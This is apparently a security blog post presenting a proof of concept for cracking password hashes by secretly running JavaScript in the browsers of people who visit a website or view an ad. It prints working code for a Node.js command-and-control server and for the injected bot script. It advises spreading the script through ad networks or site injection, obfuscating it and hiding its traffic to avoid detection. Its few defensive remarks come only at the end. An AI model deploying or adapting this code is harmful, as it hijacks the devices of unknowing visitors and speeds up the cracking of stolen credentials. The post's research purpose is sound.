Skip to content

Hash Cracking With Distributed Computing And Malicious JavaScript

Most systems do not hold user passwords in clear text. Best practices for password storage is passing it through a hash function that creates a random value, then storing that value in the database instead of storing the password. To logon, the ability to enter in data that passes out the same random value proves you know the password and you can gain access.

When attackers break into these databases, they do not get the user’s passwords. They get a list of hash values. To reveal the password, a user will need to perform a dictionary brute-force attack on it, iterating on every password in a password dictionary to see if passing through the hash function matches the hash. If it does, they have the password and can login to services with the corresponding username.

These attacks are usually very resource intensive. So what if there was a way we could share the workload with other devices? Is there a way we could use distributed computing to brute-force a hashing attack with infected users on the internet?

The following is a simple proof of concept that you can distribute the workload of cracking a hash simply by having an attacker visit a website or view an ad.

Here is how it works.

Command and control

The command and control server is written in JavaScript and runs in NodeJS. The NodeJS framework allows you to have access to the JavaScript runtime without the need to run the code through a browser. It is also non-blocking so it provides asynchronous logic and is ideal for scalable network operations. You can also pull down other repositories with NPM, the Node package manager.

For this proof of concept, we will need the following libraries :

With Express and Socket.IO, the server will have a constant contact with the workers that will be hash cracking for us. The workers call in and the server will supply them with a MD5 hash that is being brute-forced and a small array of password attempts. The server upon starting, loads a password dictionary, then awaits a call to serve up the current hash and pop off a small portion of the password list with each request.

To obtain a large amount of computing power, the code can be distributed by a distributed ad network or by injecting code on websites for this attack. When the code is executed on the victim’s device by viewing, the attack begins.

Stepping through the server side

Here we import the packages for our server and set server variables.

const express = require('express')
const server = require('http').Server(express);
var io = require('socket.io')(server);

Next we want to open up our large dictionary of passwords for hashing.

var fs = require('fs');
var library = fs.readFileSync('passdict.txt').toString().split("\n");

Set the MD5 hash value to attack along with a worker count for verbosity when running the server in the terminal.

var md5 = '97b555ad4d2e715a1874c44dd85593a3';
var workers = 0;

Now we create our websocket listeners and endpoints. On connection it will set up a work request listener, an endpoint to receive a successfully attacked hash, and also a close event to decrement our worker count.

io.on('connection', function(socket){
    workers++;
    console.log("workers logged in : " + workers);

    socket.on('wreq', () =>{
        socket.emit('wres',{
            hash : md5,
            samples : take10()
        });
    });
    
    socket.on('hashed', (data) =>{
        console.log(data);
    });

    socket.on('disconnect', function(){
        workers--;
    });
});

Lastly we set the server to listen on port 80. We also need to declare our function that takes 10 passwords off the top of our password stack and returns for a work request. More on why we need it on port 80 and why so low of a count later.

server.listen(80);

function take10(){
    result = [];
    for(var i=0; i<10; i++){
        result.push(library.pop());
    }
    return result;
}

The bot side

The following code is pure JavaScript. Although we will be using a content delivery network (CDN) to load two external libraries, this attack can be done in any current browser on any device without victims even knowing.

This code will be running in the background of the ad or website.

First we want to load script tags for Socket.IO and CryptJS libraries from Cloudflare’s CDN. With these libraries, we’re able to create websockets and perform cryptography.

  <script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/1.7.4/socket.io.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>
<script>

With another script tag open we write our logic out. Declare the websocket to point at our command and control server. Then we initiate our first work request to start a work loop.

var socket = io.connect('http://localhost:80');
socket.emit('wreq');

Next we create a response endpoint. Each time we receive a work response on the victim’s device, it will take the hash and the password array and pass it onto our hash cracking function. If the function is successful it will send back the cracked results, if not it will initiate another work request and loop again.

socket.on('wres', function(work){
     var result = checkHash(work);
     if(result === '')
         socket.emit('wreq');
     else{
         socket.emit('hashed', result);
     }    
});

function checkHash(work){           
     for(var i=0; i< work.samples.length; i++){
        hash = CryptoJS.MD5(work.samples[i]).toString();
        if(hash.trim() === work.hash.trim()){
             return work.samples[i];
        }
     }
     return '';
}
</script>

If this was performed by an actually attacker, you wouldn’t get the message that we are being compromised. Fortunately, we have a hint here. But see there is no indication that anything is going wrong in this attack in developer tools.

Over 40,000 entries and the attack takes less than 30 seconds to crack the hash with one infected victim.

Things to keep in mind

From the attackers perspective, you will want to work on obfuscation of the code so the code can’t be easily reverse engineered. To hide the websocket traffic, signing a self signed SSL certificate would hide what is going on. Otherwise, your passwords are being sent over the wire in clear text and it is obvious what kind of attack is going on.

Even though generating a lot of computation power through this distribution of work, since it is only computing during a website or ad visit, your individual victim compute times will be short. This is why we set our password payload so low, small batch jobs. Error handling to put lost stacks back on the password heap is also a good idea to make sure our attack is compete.

Lastly, we will want to make sure our command and control server is listening on the traditional port 80 or 443. Otherwise, this attack will be mitigated by modern browsers.

Stopping this attack.

For an individual, I really don’t see a way to stop this type of attack other than browser URL blacklisting. Consider even turning off JavaScript on default, whitelisting scripts as you go along. This is also very difficult to detect by traffic analysis. This attack looks like a medium trafficked websocket connection over SSL. Something I will be pondering to come up with signature based malicious JavaScript analysis via browser plugin.

This proof of concept demonstrates that you can distribute computing to victim machines to crack hash values with pure JavaScript in the browser. For security researchers and security professionals, it is important to convey to the public and our clients the importance of understanding the power of JavaScript when browsing the web.

Comments are closed, but trackbacks and pingbacks are open.